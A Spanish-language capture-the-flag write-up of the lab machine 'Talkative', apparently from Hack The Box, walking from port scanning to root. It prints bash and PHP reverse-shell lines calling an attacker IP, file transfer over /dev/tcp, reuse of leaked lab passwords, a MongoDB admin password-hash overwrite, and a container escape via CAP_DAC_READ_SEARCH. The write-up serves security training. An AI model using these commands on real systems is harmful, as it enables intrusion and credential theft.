Resolución de Máquina: Talkative

Husky
Escrito por Husky el
Resolución de Máquina: Talkative

Máquina Linux con dificultad Hard(Difícil), con temáticas de Pivoting de usuarios, explotación de Rj editor un plugin disponible en Jamovi, reutilización de credenciales, muchos contenedores, base de datos, y capabilities.

Clasificación de la Máquina según las Personas

Bastante enumeración, tirando hacia la realidad con vulnerabilidades interesantes.

Como para omitirselo,¿No?…

  1. Reconocimiento

  2. Enumeración Básica

  3. Explotación
  4. Escalada de Privilegio

Bien comenzemos!!!

Reconocimiento+

Empezamos con un escaneo tipico de puertos con nmap por TCP, ya que necesitamos información

❯ nmap -p- -v 10.10.11.155
Parámetros Funcionalidad
-p- Realiza escaneos en todos los puertos, los 65535 puertos
-v Nos da más información mientras escanea los puertos

Nos reporta que se ha encontrado 6 puertos:

Puerto Ocupación
22 SSH: Nos Permite el inicio de sesión con una terminal del equipo
80 HTTP: Es un servidor web
3000 PPP: Protocolo punto a punto de conxión que sirve para conectarse un sistema a otro
8080 HTTP: Otro servidor web
❯ nmap -p 22,80,3000,8080,8081,8082 -sCV 10.10.11.155
Parámetros Funcionalidad
-p Realiza escaneos sobre los puertos dados
-sC Lanza scripts básicos sobre los puertos
-sV Permite revelar nombre o versión del servidor

Dá mucha información sobre los puertos, pero en resumen:

Puerto Servicio Observaciones
22 SSH Filtrado
80 HTTP Apache httpd 2.4.52
3000 PPP? En resumen: Rocket.Chat
8080 HTTP Tornado httpd 5.0

El resto no nos serviran.

Enumeración Básica+

El puerto 80 hace un redireccionamineto a http://talkative.htb se esta aplicando Virtual Hosting.

El término Hosting Virtual se refiere a hacer funcionar más de un sitio web (tales como www.contoso.com y www.contoso2.com) en una sola máquina. Los sitios web virtuales pueden estar «basados en direcciones IP», lo que significa que cada sitio web tiene una dirección IP diferente, o «basados en nombres diferentes», lo que significa que con una sola dirección IP están funcionando sitios web con diferentes nombres (de dominio).

http://talkative.htb

Mirando la página reporta el Wappalyzer un CMS: bolt CMS

Investigando son encontramos con la documentacion de bolt CMS, del cual tiene una ruta para login /bolt/

Pero no disponemos de credenciales todavía, asi que…, luego la visitaremos

Mirando la página vemos una seccion de personal y podemos ver sus respectivos correos de janit@talkative.htb, matt@talkative.htb, saul@talkative.htb

Página del puerto 8080 +

En el puerto 8080 es un Jamovi, si buscamos qué es, es un tipo excel o hoja de cálculo, con un modulo instalado de Rj Editor

R es un lenguaje de programacion que usa Rj Editor

Por lo tanto, buscamos por palabras clave como system o command, vemos que se puede ejecutar system(‘comando aqui’ inten=TRUE)

Y vemos que funciona!

Puede interpretar comandos de Linux, asi que, system(“bash -c ‘bash -i >& /dev/tcp/10.10.14.10/6060 0>&1’”) el tipico comando de bash de entablar una consola inversa

Por nuestro lado nos abriremos un puerto en escucha para recibir la consola

❯ nc -nvlp 6060

Ya en escucha le damos, y nos da una consola interactive

> root@b06821bbda78:~#

Dentro de la máquina vemos que somos root pero tiene pocas cosas y es un contenedor…, vemos que en el directorio /root hay un archivo ‘bolt-administration.omv’, haciendo el comando ‘file’ vemos que es un archivo zip

> root@b06821bbda78:~# file bolt-administration.omv
bolt-administration.omv: Zip archive data, at least v2.0 to extract, compression method=deflate

La máquina no tiene unzip asi que, tocará trasferirlo a nuestro equipo para descomprimir, una manera que se me ocurre es con el propio comando ‘cat’

> root@b06821bbda78:~# cat bolt-administration.omv > /dev/tcp/0.0.0.0/6061

y en una terminal aparte escribir…

❯ nc -nvlp 6061 > bolt-administration.omv

Con md5sum bolt-administration.omv en ambos equipos, nos muerta un hash correspondiente a la data que almacena, nos sirve para ver si la data fue afectada o corrompida

❯ md5sum bolt-administration.omv 
89a471297760280c51d7a48246f95628

Sin errores, pasamos a descomprimir el zip que contiene varias cositas entre ellas un archivo ‘xdata.json’ que contiene credenciales, los correos y contraseñas de algo, con una expresión filtramos por lo que nos interesa

❯ cat xdata.json | jq | grep false -B 1| grep -oP '".\*?"' | grep -vE 'Username|Password' | tr -d '"' > xdata.txt
❯ cat xdata.txt
matt@talkative.htb
janit@talkative.htb
saul@talkative.htb
jeO09ufhWD<s
bZ89h}V<S_DA
)SQWGm>9KHEA

Accediendo al panel de Adminsitrador + {puerot-80}

Recordando que en el puerto 80 hay un panel de autenticación podemos probar primero los usuarios y contraseñas pero nos toma las credenciales como incorrecta, buscando credenciales por defecto, logramos dar con el usuario ‘admin@talkative.htb’

Una vez conectado como administrador de la página, podemos modificar las estructuras de las páginas

En configuratrion > all configuration files,

Podemos modificar un archivo del código fuente de la página y agregar un comando para darnos una consola interactiva de la máquina

Se ve tentador bundle.php, entonces le agregamos la siguente linea de comando en php:

<?php

system('bash -c "bash -i >& /dev/tcp/10.10.14.10/6062 0>&1"');

...[snip]...

Le damos a ‘save changes’ y con netcat nos ponemos en escucha por el puerto dado

Y al cargar la página principal son deberia dar una consola interactiva

❯ sudo nc -nlvp 6062
Connection from 10.10.11.155:34872
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
> www-data@adeece77920e:/var/www/talkative.htb/bolt/public$

Como siempre cualquier conexión con netcat, no estamos maniobrando sobre una TTY asi que hay que aplicarle un tratamiento:

> www-data@adeece77920e:/var/www/talkative.htb/bolt/public$ script /dev/null -c bash
 <talkative.htb/bolt/public$ script /dev/null -c bash      
 Script started, output log file is '/dev/null'.

Hacemos ctrl+z para poner la conexión en segundo plano

❯ stty raw -echo; fg
[1]  + continued  sudo nc -nlvp 6062
                                    reset xterm

Para que se apliquen los cambios reiniciamos la consola

y todavía no estamos en la máquina real, seguimos en contenedores.

Despues de un buen rato revisando todo el contenedor, vemos que no es posible escalar privilegio en él pero si tenemos conectividad con la máquina real aqui

Como el contenedor no tiene el comando ‘ping’ se puede usar el comando ‘echo’, y en base al código de estado final se puede saber si un puerto esta abierto o cerrado.

Podemos crear un pequeño script para ver que puerto esta abierto:

#!/bin/bash

for puerto in $(seq 1 65535) ;do
	bash -c "echo > /dev/tcp/10.10.11.155/$puerto" 2>/dev/null && echo "[+] Esta abierto el puerto $puerto"
done

Le damos permiso de ejecucion;

> www-data@adeece77920e:/tmp$ chmod +x ScanPort.sh

Y lo ejecutamos

> www-data@adeece77920e:/tmp$ ./ScanPort.sh
 [+] Esta abierto el puerto 22
 [+] Esta abierto el puerto 80
 [+] Esta abierto el puerto 8080
 [+] Esta abierto el puerto 8081
 [+] Esta abierto el puerto 8082

Veremos que el puerto 22 de la máquina real que esta abierdo desde este contenedor, y tiene el comando ‘ssh’, asi que podemos intertar conectarnos por ssh proporcionando las credenciales de los usuario con sus contraseñas

www-data@e4803a9fde4b:/tmp$ ssh saul@10.10.11.155
The authenticity of host '10.10.11.155 (10.10.11.155)' can't be established.
ECDSA key fingerprint is SHA256:kUPIZ6IPcxq7Mei4nUzQI3JakxPUtkTlEejtabx4wnY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/var/www/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
saul@10.10.11.155's password: jeO09ufhWD<s 
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-81-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed 07 Sep 2022 04:34:14 AM UTC

  System load:                      0.1
  Usage of /:                       73.4% of 8.80GB
  Memory usage:                     77%
  Swap usage:                       17%
  Processes:                        407
  Users logged in:                  0
  IPv4 address for br-ea74c394a147: 172.18.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for eth0:            10.10.11.155
  IPv6 address for eth0:            dead:beef::250:56ff:feb9:e89e


18 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
> saul@talkative:~$ 

¡¡¡VAMOS!!!, Ahora tocara escalar privilegios

Escalada de Privilegio +

Dando vueltas por el sistema, nos percatamos que no hay una posible acceso como el usuario root

Asi que, vamos a escribir un script que muestra en pantalla los comandos ejecutados a intervalos regulares de tiempo par asi se esta ejecutando una tarea con la que abusar para escalar privilegios:

#!/bin/bash ScanProc.sh

new="$(ps -eo command)"

while true;do 
        old="$(ps -eo command)"
        diff <(echo "$new") <(echo "$old")|grep "[\>\<]" | grep -vE "ScanProc|command|kworker"
        new=$old❯
done

Le damos permiso de ejecución, y con paciencia, esperamos a algun comando…

> saul@talkative:/tmp$ chmod +x ScanProc.sh
> saul@talkative:/tmp$ ./ScanProc.sh 
 >/usr/sbin/CRON -f
 >\>/bin/sh -c python3 /root/.backup/update_mongo.py
 >\>python3 /root/.backup/update_mongo.py

Despues de un tiempo, podemos ver un proceso que esta ejecutando root, update_mongo.py

¿Qué es MongoDB?

MongoDB es una base de datos de documentos que ofrece una gran escalabilidad y flexibilidad, y un modelo de consultas e indexación avanzado.

Ehm…bueno…

Informandonos de mongo vemos que se maneja por defecto ocupando el puerto 27017, haciando el comando ‘netstat -nat’ vemos que esta en un contener ejecutandose

> saul@talkative:/tmp$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
...[snip]...   
tcp        0      0 172.17.0.1:49052        172.17.0.2:27017        TIME_WAIT  
tcp        0      0 172.17.0.1:49054        172.17.0.2:27017        TIME_WAIT  
...[snip]...

Nos podemos traer ese puerto como local con chisel

La máquina tiene conectividad con nuestro equpio asi que podemos hacer que descargue el chisel, nos montamos un servidor simple para ofrecer el chisel

> saul@talkative:/tmp$ wget http://10.10.14.10/chisel
> saul@talkative:/tmp$ chmod +x chisel

Nuestro equipo debe iniciar el promagra como servidor y la máquina como cliente para poder tener su puerto 27017

❯ ./chisel server -reverse --host 10.10.14.10 --port 1234
> saul@talkative.htb:/tmp$ ./chisel client 10.10.14.10:1234 R:27017:172.17.0.2:27017

Una vez conectado al puerto con mongosh podemos entrar en la base de datos

> mongosh
Current Mongosh Log ID:	631823c4f328877a7dc098e5
Connecting to:		mongodb://127.0.0.1:27017/?directConnection=true&serverSelectionTimeoutMS=2000&appName=mongosh+1.5.4
Using MongoDB:		4.0.26
Using Mongosh:		1.5.4

For mongosh info see: https://docs.mongodb.com/mongodb-shell/

------
   The server generated these startup warnings when booting
   2022-09-06T05:25:37.479+0000: 
   2022-09-06T05:25:37.479+0000: ** WARNING: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine
   2022-09-06T05:25:37.479+0000: **          See http://dochub.mongodb.org/core/prodnotes-filesystem
   2022-09-06T05:25:44.166+0000: 
   2022-09-06T05:25:44.166+0000: ** WARNING: Access control is not enabled for the database.
   2022-09-06T05:25:44.166+0000: **          Read and write access to data and configuration is unrestricted.
   2022-09-06T05:25:44.166+0000:
------

------
   Enable MongoDB's free cloud-based monitoring service, which will then receive and display
   metrics about your deployment (disk utilization, CPU, operation statistics, etc).
   
   The monitoring data will be available on a MongoDB website with a unique URL accessible to you
   and anyone you share the URL with. MongoDB may use this information to make product
   improvements and to suggest MongoDB products and deployment options to you.
   
   To enable free monitoring, run the following command: db.enableFreeMonitoring()
   To permanently disable this reminder, run the following command: db.disableFreeMonitoring()
------

> rs0 [direct: primary] test>

Rocket.chat +

Buscando entre la base de datos, podemos ver en la base de datos ‘meteor’ hay un tabla ‘users’ y un usuario ‘saul’ asignado con ‘roles: admin’ y una contraseña cifrada en bcrypt, podemos crackear la contraseña cifrada o, ya que podemos manipular la base de datos podemons cambiar la contraseña y buscando por cambiar la contraseña del administrador nos sale un el documento de rocket.chat para cambiar la contraseña via la mongodb

Por el puerto 3000 esta Rocket.chat, asi que…

Hay que reemplazar la palabra ‘administrador’ por ‘admin’ ya que ese es el nombre de usuario

> rs0 [direct: primary] meteor> db.getCollection('users').update({username:"admin"}, { $set: {"services" : { "password" : {"bcrypt" : "$2a$10$n9CM8OgInDlwpvjLKLPML.eizXIzLlRtgCh3GRLafOdR9ldAUh/KG" } } } })
DeprecationWarning: Collection.update() is deprecated. Use updateOne, updateMany, or bulkWrite.
{
  acknowledged: true,
  insertedId: null,
  matchedCount: 1,
  modifiedCount: 1,
  upsertedCount: 0
}

Esto hara que la contraseña del administrador cambie a ‘12345’.

Accedemos con el usuario saul@talkative.htb y la contraseña 12345.

Ahora como administrador de la página podemos buscar por vulnerabilidades de forma autenticada.

Sigun el procedimiento del compañero CsEnox , la explotación va por una funcionalidad llamada ‘integrations’, tendremos que creamos un nuevo WebHook

Le asignamos un canal y a un usuario, y en script lo habilitamos y pegamos el script.

Le damos a ‘Save Changes’, y volvemos para atras, y nos ha creado un nuevo WebHook

Al final son da una URL para conectarnos al WebHook

❯ curl http://10.10.11.155:3000/hooks/ggmD6mCoknDtQaw5n/FfRD3vibuiaBmyrrDT6CdYqH8eLCqgB2jq8J4oeCNDTCuabA

En una consola aparte nos ponemos en escuda por el puerto 6062 con netcat para recibir la consola interactiva

❯ sudo nc -nlvp 6063
Connection from 10.10.11.155:58552
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
> root@c150397ccd63:/app/bundle/programs/server#

Y nuevamente estamos en un contenedor, ya suficiente de contenedores, busquemos la forma de escapar de este contenedor. Viendo por HackTricks - Dockerbreakout, hay una herramienta CDK que nos permite escanear posibles escapatorias de un contenedor.

Para transferir el binario, lo podemos hacer con cat y netcat, pero para ello necesitamos manejarnos por una TTY.

> root@c150397ccd63:~# script /dev/null -c bash                
script /dev/null -c bash
Script started, file is /dev/null
> root@c150397ccd63:~#

Le damos a ‘ctrl+z’

❯ stty raw -echo;fg
[1]  + continued  sudo nc -nlvp 6063
                                    reset xterm

Y ahora si podemos transferir el archivo, nos ponemos en escucha por algun puerto libre y que al conectarse ofresca el binario

❯ nc -nvlp 6064 < cdk

Haciendo lo mismo que antes, pero en vez de que nosotros lo recibamos lo recibira la máquina

> root@c150397ccd63:~# cat < /dev/tcp/10.10.14.158/6064 > cdk

Esperamos un poco para que se trasnfiera sin errores, y luego presionamos ctrl+c para forzar una salida no exitosa.

Comprobamos que el hash md5 sean identicos para saber si la data a sido manipulada o alterada en el proceso, y le damos permiso de ejecución

> root@c150397ccd63:~# md5sum cdk 
6faa6f0103f8c46a54d0fa80f00ee74a  cdk
> root@c150397ccd63:~# chmod +x cdk
> root@c150397ccd63:~# ./cdk
> CDK (Container DucK)
CDK Version(GitCommit): 548ef65dd14313a27c2bef15b7d1bff57bf6a98c
Zero-dependency cloudnative k8s/docker/serverless penetration toolkit by cdxy & neargle
Find tutorial, configuration and use-case in https://github.com/cdk-team/CDK/wiki

Usage:
  cdk evaluate [--full]
  cdk eva [--full]
  cdk run (--list | <exploit> [<args>...])
  cdk auto-escape <cmd>
  cdk <tool> [<args>...]

Evaluate:
  cdk evaluate                              Gather information to find weakness inside container.
  cdk eva                                   Alias of "cdk evaluate".
  cdk evaluate --full                       Enable file scan during information gathering.


Exploit:
  cdk run --list                            List all available exploits.
  cdk run <exploit> [<args>...]             Run single exploit, docs in https://github.com/cdk-team/CDK/wiki
  cdk auto-escape <cmd>                     Escape container in different ways then let target execute <cmd>.

Tool:
  vi <file>                                 Edit files in container like "vi" command.
  ps                                        Show process information like "ps -ef" command.
  nc [options]                              Create TCP tunnel.
  ifconfig                                  Show network information.
  kcurl <path> (get|post) <uri> [<data>]    Make request to K8s api-server.
  ectl <endpoint> get <key>                 Unauthorized enumeration of ectd keys.
  ucurl (get|post) <socket> <uri> <data>    Make request to docker unix socket.
  probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000

Options:
  -h --help     Show this help msg.
  -v --version  Show version.

Vemos una opción que nos permite obtener información acerca de posibles vulnerabilidades

> root@c150397ccd63:~# ./cdk eva --full
...[snip]...
[*] Maybe you can exploit the Capabilities below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
...[snip]...

Encontro una Capability que nos permite leer archivos de la máquina real como root

O explotar un fallo en esa Capability que nos podemos traer el sistema entero de la maquina real, haciendo ‘/etc/host /’ nos permite acceder desde el contenedor como root con un pequeño fallo visual que es el nombre del hostname.

> root@c150397ccd63:~# ./cdk run cap-dac-read-search /etc/hosts /
Running with target: /, ref: /etc/hosts
executing command(/bin/bash)...
> root@c150397ccd63:/#

Y por magia del hacking estamos en la máquina real como root aunque no lo parezca, debido a que la Capability ejecuta ‘chdir’ como el host es root en la raíz ‘/’ y nos da una consola interactiva desde Bash

Para asegurarnos que estamos en la máquina real le asignamos privilegio SUID a la bash para ganar acceso desde saul

> root@c150397ccd63:/# chmod u+s /bin/bash

Y ahora con saul nos podemos ejecutar la bash -p para que nos de la bash como el propietario.

> saul@talkative:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1183448 Jun 18  2020 /bin/bash
> saul@talkative:~$ bash -p
> bash-5.0# whoami
root